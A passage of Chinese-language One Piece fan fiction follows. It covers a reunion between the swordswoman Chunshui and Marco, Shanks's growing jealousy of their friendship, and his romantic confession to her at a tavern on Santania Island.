“多少年前的事了那都是,他心思早就不在那上面了。”拉克约和那缪尔都见证过那场少年怦然心动,也看出了现在他纯粹只当春水是朋友,纷纷摆手,“玩笑而已,放过马尔科吧。” 而且春水摆明了也对他没意思啊……她一门心思不都在她那个好弟弟身上吗? 哈尔塔靠近宾治,在他的许可下小心地摸了摸猛士达的头:“不过……春水姐,她变化真的好大啊。我险些没认出来她。” 记忆中那样坚韧挺拔、无法被万物摧折的剑士,见惯了那双满是肃杀的黄金瞳,现在再看到这样苍白的她,他真的很不习惯。 究竟发生了什么啊……这些年。 见他们提到原来的春水,红发海贼团的伙伴们按耐不住好奇。他们印象中的剑士都是自家头儿或者米霍克那样打上头就什么也不管不顾的疯子——完全不敢相信春水也是其中之一。 话说回来,她那张脸真的能做出凶神恶煞的表情吗……? 双刀流的斯内克和被称为「花剑」的比斯塔勾肩搭背,哥俩好地拼起酒来。后者记起了马尔科的嘱托,挑了些能说的,讲给这个新朋友。 同为剑士,他那时候总和春水切磋来着,也见识过她那了不得的杀意。 “何止凶啊……该怎么和你形容?”比斯塔想起年少时春水支配了一整年的恐惧,后颈一凉,“大概……在她挥刀的一瞬间,无论是刀、枪还是你的脖子,都会被一起砍断……那种感觉吧?” “……说实话,我真的想象不出来。”斯内克想了想向来温和沉稳像是根本没脾气的春水,老老实实地摇头,“我甚至没见过她发火的样子。” 屡屡被她揍哭的比斯塔:“………这么夸张吗?” 屡屡看到头儿死皮赖脸的无耻模样都想求春水发一下火的斯内克:“………就是说啊。” 旱的旱死,涝的涝死。 ……大概就是这么一回事吧? 两个人面面相觑。 * 宴会还在进行着,双方成员找到了共同话题,迅速熟络起来。 难得重逢,马尔科放下了身为娘家人那点想找回场子的心思,想起了要紧事。 他朝春水摆了摆手,示意她跟上。眼见着两个人又要开始那些“加密通话”了,香克斯下意识也想跟上去。 这小子怎么好像长在春水身上似的。 马尔科扬眉看她,有点好笑:“带他一起?真的假的yoi?” 这人不是每次聊起果实觉醒或者能力之类的话题时,都要小心翼翼避开香克斯的吗? 总感觉自己像是什么奸夫似的。马尔科为此调侃过好友几回,都被她以“还不是时候”糊弄过去了。 春水望向香克斯的目光果然犹豫了。 她拍了拍他的手臂以作安抚:“我很快回来,你少喝点酒。” 然后……她居然……真的……单独和马尔科走了?! 香克斯握着酒杯的手指猛地收紧,面上努力维持着爽朗的笑容,与身旁的乔兹碰杯,咬着牙将杯中酒一饮而尽。 ——看样子,他还真是小瞧这段「最好的友谊」了啊。 伙伴们投来的目光带着心照不宣的戏谑,他全当没看见,一杯一杯喝着酒,心里那股火“腾”地烧了起来。 春水确实很快就回来了,她一直在皱眉思索,连香克斯越来越黑的脸都没注意。 她想的很入神。 ……在想什么呢?在想她那把她当成理想型的「最好的朋友」吗?! 宴会举办了一天一夜,两艘巨舰在暮色中告别。白胡子海贼团的队长们热情地与红发海贼团的干部们挥手告别,他们还特意为春水准备了礼物——是一些有助于调理身体的药材或各地搜集来的小玩意儿,非常用心。 春水的回礼也早就准备好了,莫比迪克号上的大家都有份。 她每次路过拍卖行或者集市时,遇见某些符合心意的都会停留一会儿,精挑细选,就这么攒了好些年。 这个人从小物欲就很低,挑选这些回礼的时候,香克斯就在她身边。那时候他只以为这是想送给雷利先生或者艾斯他们的。 没想到是……所以,她也早就“看”到了这一次的重逢了吗? 香克斯环抱双臂,咽下疑问,安静地看着他们交换礼物。 他有种预感,自己正在离春水正努力隐瞒的真相……越来越近了。 马尔科丢给了春水一颗隐隐流动着奇异光泽的黑色珠子,语气随意:“我都快忘了它了。喏,说要当面给你的,没想到居然过去了七年yoi。” 七年了,还保存的好好的? 春水看着那颗珠子,上面缠绕着丝丝缕缕的「规则」——她珍重地接过,穿成手链,带在了手腕上。 “是啊,大忙人。”她把一个匣子随手抛给马尔科,作为回礼,“注意下黑眼圈吧,我说真的。好好休息啊,马尔科。” 香克斯知道那里面装着什么。 一大把药草,都是在新世界也很难寻找到的天材地宝,她从踏入伟大航路就开始收集了,一直攒到现在。 每得到一根,她都会对着阳光细细晒好,笑着和他说:“那家伙肯定用得上。” 往事一一照进现实,在那一刻,香克斯很难形容此刻的心情。贝克曼瞟了他一眼,被醋味熏得走远了些。 马尔科抬手接过,打开看了一眼,心头一暖。 他认得出,那些都是自己同她提到过的,可能会对老爹的旧疾有帮助的药草。 因为分身乏术,它们又散落各地,他以为要花上很久才能集齐。 ……这家伙,还真的是……让人不知道该说什么好了。 便宜红发那小子了。 马尔科领了这份情,无奈地笑了:“知道了,你先照顾好自己吧yoi。” 那种独属于同龄人之间的轻松氛围,身为“弟弟”的香克斯完全无法插足。 ……呵,关系真好啊。 与罗杰海贼团无关,这几乎是完全凭春水个人意志的私交了。 ——尤其是马尔科。 不是伙伴,不是兄弟,不是亲人,只是朋友。对春水而言,这是一种独立于所有关系之外的、纯粹的「友谊」。 那一晚,香克斯喝了远超平时的酒。 他照例冲了冷水澡,然后带着一身湿气和水汽,沉默地在春水腿边坐下,将头靠上她的膝盖。 春水找了个软巾,耐心地帮他一点一点擦着头发。 她的目光依旧柔软温和,带着纵容。可见过了她面对马尔科时,抛开一切束缚的轻松,香克斯清楚地感到了差别。 并且,为着这份差别,他非常、非常不爽。 “春水,不打算和我说点什么吗。”他突然开口了,没有铺垫,是平铺直叙的调子,声音里也没什么情绪。 春水当然知道他想知道什么——那是空白的那一年,离开罗格镇后她怎么得到的「织织果实」,雷利先生那晚究竟和她说了什么。 这些年里有无数次刨根问底的机会,只要他想。 可香克斯一直忍着没问——他在等她主动开口。 她张了张嘴,那些不堪回首的记忆在脑中翻滚,化作一声叹息。 算了。 关于她为自己选择的「未来」……香克斯会接受不了,不用想都知道。 他的直觉就像野兽,她瞒不过他。 “我们……以后再聊,好不好?”最后,春水还是选择了回避。手指无意识地拨弄着男人半干的发梢,避开了与他对视。 还是不行吗……她还是不愿意说。明明对马尔科就能知无不言。 为什么? 春水,为什么把他排除在外?远远推开? 香克斯的心缓缓沉了下去。 良久,他抬起头,脸上已重新挂上那副仿佛无事发生的明朗笑容,伸手帮她把一缕散落的头发别到耳后。 “好啊。”他说的很轻松,“等你想聊的时候。 眼睛里隐着沉沉的、几乎暴怒的漩涡,但已经成长为了「四皇」之一的男人面上分毫不显。 一切似乎如常,但春水能隐约感觉到香克斯散发出的那种焦躁,像一头被无形锁链束缚、亟待破笼而出的野兽。 但她没时间考虑那些了——她的时间不多了。 手指反复拨弄那颗珠子,她试图将缠绕其上的「规则」一根根剥离——她“看”到了,这是果实觉醒的关键。 含有「规则」之物很难寻找。 这大概就是她的家族,留给每一个尚未觉醒的人掌控「织命手」的工具吧? 香克斯眼睁睁看着春水对着那颗珠子发呆,有时一坐就是一整天,连书都不看了,被自己叫去吃饭或者睡觉时,竟然还有几分恋恋不舍……? 疑虑与躁意如同暴风雨前积聚的乌云,越来越浓。 ——她在看什么?她在想什么? 想那颗珠子的主人? 想马尔科? 想那空白的一年? 疑惑、怒火、嫉妒、醋意、无力……汹涌翻腾的情绪被春水主动送上的拥抱打断,香克斯回抱住她,用力地压下了它们。 还不是时候。他想,得等春水自己想清楚,愿意将那些事都告诉给他的那一天……还不是时候。 再等等,耐心点,再等等。 * 每次见面都往往隔着几年甚至是十几年,海贼们之间的友谊总是亲密却又充满着距离感——因为这片海,实在是太大、太辽阔了。 每个人都有自己的冒险。但他们坚信,只要彼此挂念着,心意相连,无需刻意寻找相见的机会,缘分总会指引他们重逢。 一年后的桑塔尼亚岛,似乎就是命运的转折点。 以其独特的、带着泥煤烟熏风味的威士忌闻名,这座岛屿又恰好出现在了雷德·福斯号的航线上,刚结束一场战斗的红发海贼团正需要酒精来放松。 于是众人一拍即合,斯内克向左打满舵,风风火火地准备享受一番。一行人涌入岛上最热闹的酒馆,喧嚣声几乎要掀翻屋顶。 香克斯被伙伴们簇拥着挤向吧台,大声点着酒水,笑声爽朗。春水则一如既往地选择了一个相对安静的位置坐下。 端坐在越发清晰的「命运之海」中,有着黄金瞳的女人凝望着正在靠近自己的那颗星星,指尖在木桌上轻轻划过一个名字。 好高兴啊,居然又见面了。 不大不小的阴影投射下来,一只手搭上了她对面的椅背,指节弯曲,她听见了熟悉的懒散腔调。 “这位小姐,对面有人吗yoi?”来人这么问道。 “刚刚没有,现在有了。”身心都被愉悦填满,眉眼弯起,春水听见了自己带着笑的回应,“好久不见啊,马尔科。” 马尔科朝侍应生要了一杯酒,推到春水面前。 “试试这个。”他指尖点了点杯壁,“用本地几种草药和蜂蜜调的药酒,味道还可以yoi。” 杯中褐色的药液散发着热气,氤氲开来,模糊了两人本就柔和的侧脸。 春水嗅了嗅,虽然不喜欢酒精的辛辣,但还是小啜了一口:“你总能找到这些稀奇古怪的东西……居然真的不苦?” 她慢慢地喝了几口,酒液顺着喉咙流进胃里,一路暖融融的。 “都说了味道还可以了,骗你干嘛?” “……可你每次骗我喝那些苦的要死的药汤时,也是这么说的啊。” “那都是多久以前的事了,你怎么还在记仇啊?而且我不那么说你根本不喝好不好yoi!” “船医先生,总骗人的话鼻子会变长哦。” “剑士小姐,总记仇的话人是长不高的yoi。” 不知道为什么,明明他俩有一个算一个,都是稳重如山的人,凑到一起却总会像小学生似的拌起嘴来。 这大概就是友情令人降低智商吧? 又扯了几句没营养的闲话,两人自然地聊起了正事。交流顺畅,态度熟稔,带着只有长久相识和彼此了解才会培养出的默契。 话题先是围绕着白胡子海贼团的一些旧识——某个队长又闹了什么笑话,老爹纽盖特最近的身体状况,萨奇研究了什么新食谱,船上新来了哪些有趣的家人…… 春水也笑着分享起了雷德·福斯号上的故事。 香克斯又闯了什么祸,被贝克曼胖揍一顿关进了笼子里(没错现在已经成长了的副船长大人决定效仿雷利先生执行铁腕手段),刚上船的新人被他们吓得一天没吃好饭生怕下一个轮到自己…… 明明是叱咤海洋的「四皇」海贼团,成员们却一个个都听着像是有点什么大病的多动症儿童大龄巨婴似的。 家家有本难念的经,他们说着说着,对视一眼,自己先笑出了声。 ——这都是些什么人啊你说说? 酒馆的空气里弥漫着麦芽发酵和烟草混合的气息,角 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他盯着春水只对马尔科展露的「特殊」。那样自然的亲昵,是他花了多少心思靠近、耍了多少无赖才换来的。而这个男人,似乎不费吹灰之力。 香克斯脸上的笑容完全消失了,取而代之的是一种沉静的、危险的凝视。 男人的眼神幽深,捏在手里的两个木杯发出了“嘎吱”一声响,竟是被生生捏的有几分变形了。 负责采买的拉基·路察觉到不对,用手肘碰了碰旁边的耶稣布。耶稣布瞄了那边一眼,低声啧了一声:“……确实是好「朋友」啊,你看春水多开心。” 贝克曼头疼地揉了揉眉心,觉得今天这酒怕是喝不安生了。 就在这时,马尔科感觉到了那道过于专注的视线——或者说,早有预料的他,终于打算理理那个快要被醋死的男人了。 不死鸟挑眉,带着点戏谑,举杯遥遥对着香克斯示意。 ……他满脸都写着“我就是做了她见到我就是很高兴春水又不只是你一个人的春水你能奈我何”的挑衅意味啊?! 这动作更是火上浇油。 香克斯深吸一口气,压下翻涌的酸涩与燥意,脸上重新扬起笑容,大步走了过去。 “哟!这不是马尔科吗?真是巧啊!” 声音洪亮,他强势地挤进了那不容旁人插入的和谐气氛里,将一杯酒放在马尔科面前。另一只手则再自然不过地揽上春水的肩膀,姿态亲昵而不容置疑。 力道很重,酒液晃了晃,却没洒出一滴。 春水转头看他:“点好了?” 船上的酒水库存见底了,她以为他们要把这家酒馆的存货搬空呢……这么快就买完了吗? “交给路和耶稣布就好了。”香克斯应了一声,目光依旧定在马尔科身上,笑容不减,“聊什么呢?笑的那么开心,不介意说给我听听吧?” 控制欲还是这么强啊?连她朝自己笑笑都不乐意? 马尔科嗤笑一声,懒洋洋地打了个哈欠:“让你姐姐回去慢慢给你讲吧……如果她愿意的话yoi。” 两个男人之间,似乎有无形的气场在剧烈碰撞。 春水察觉到了某种微妙的气氛。她看了看香克斯,又看了看马尔科,面露困惑。 ……难道,她想错了?他们俩也不太合得来吗……? 可是明明上次见面还聊的挺开心的吧?香克斯还邀请马尔科上船了呢? 再玩就过火了,马尔科识趣地站起身,对好友笑了笑:“春水,刚刚说的那个——我会给你留意留意。再喝下去这酒就要成火药味儿了,走了yoi。” 后半句是对着香克斯说的,带着再明显不过的调侃。 说完,他也不等香克斯回应,便潇洒地挥挥手,离开了酒馆。 角落里只剩下了香克斯和春水。 喧嚣的人潮仿佛逐渐远去,香克斯没有收回揽住春水的手,也没有去动那杯闻着就很诱人威士忌。他只是低头,看着春水。 他看着她饮酒后泛红的脸颊,看着她眼中尚未褪去的、因马尔科而起的轻松笑意。 是啊,马尔科说的对,春水仍然是他的“姐姐”。 即使再想她远离其余男人,可他究竟在以什么心情,什么立场,去干涉“姐姐”的交际,独占“姐姐”的目光与「特殊」呢? 姐姐,姐姐——那股醋意,混合着渴望与一种“是时候了”的决断,在他心中咆哮翻涌。 差不多了。 雷利先生,我可能……等不到春水完全准备好了。 差不多了吧?已经过去八年了。 雷利先生……我真的忍不住了。 香克斯突然俯下身,靠得极近,近到春水能闻到他身上淡淡的酒气和属于他的、阳光与海风般的气息。 “春水。”他低声喊她。 春水应了一声,困惑地望进他近在咫尺的眼眸。 香克斯深深地凝望着她,拇指不轻不重地按上她的嘴唇,将饱满的唇珠压下。 他的笑容依旧轻松,就像在讨论“我们一会儿吃什么”,但每句话、每个字都清晰无比。 “春水,我很早就想告诉你了。” “我啊,对你,不是弟弟对姐姐的喜欢。” “我喜欢你,春水。是想把你娶回家当妻子的那种喜欢。” “从十三岁意识到‘我喜欢你’,到现在,那份喜欢从来没变过——抱歉,我该早一点告诉你的。” 是的。 在很普通的、平淡无奇的一个日子里,他告白了。 煮了八年的青蛙,煮不下去了,他要掀桌子了。 喧闹的人声成了模糊的背景音,竖着耳朵听墙角的伙伴们发出了无声的土拨鼠尖叫。 「“他说了!他终于!!”」 贝克曼深深吸了一口烟,面上带着解脱:“呼——终于。” 接下来,就看春水的反应了。 * 听清了每一个字,听得不能再清楚了。春水彻底僵在原地,酒杯滑落。 她瞪大了眼睛,看着一手养大的宝贝弟弟仍然带笑的面庞,大脑一片空白,耳朵都在嗡鸣。 她、为什么?这是什么新型玩笑吗?刚刚不是还……她怎么突然、突然听不懂香克斯的话了? 伸手稳稳地接住她滑落的酒杯,放回桌上,香克斯还在继续:“不是什么雏鸟情节,不是姐弟情深。” “是看你对别的男人笑,会这里——”他指了指自己心脏的位置,“嫉妒得不行的喜欢。” 自始至终,他的目光都没有离开她:“我可以给你时间理解。我可以等,等你给出答案。但是春水——” 他微微拉开距离,让她看清自己的脸。 “不要逃避,看着我。把我当成一个男人,一个深爱着你、对你抱有企图并且渴望得到你回应的男人。” “——春水,可以吗?” 无数次预想过这个场景,什么鲜花,什么浪漫告白,但真的到了这一刻,香克斯的心跳很平缓,甚至有种“早就该说了为什么等到现在”的平静。 没有害羞或者思虑,春水的表情是彻彻底底的天崩地裂,像是在问“怎么可能你在说什么鬼话?!”,那是从来没把他往“恋人”方面考虑过的表情。 ——她甚至在希望自己说出“我在开玩笑这是逗你的”这样的话,香克斯看得很清楚。 一番告白后,得到的是心上人这样的反应,足够使任何人心生挫败。 可他没有移开视线。 桑塔尼亚岛特有的烟熏威士忌的香气,在空气中弥漫开来,见证着这份迟到多年,终于宣之于口的告白。 香克斯带着松快的笑意,说完了最后想说的话,那是早就该明明白白告诉她的话: “我不想当你的弟弟,春水。因为我喜欢你。” “从小到大——” “我、最、喜、欢、你、了。”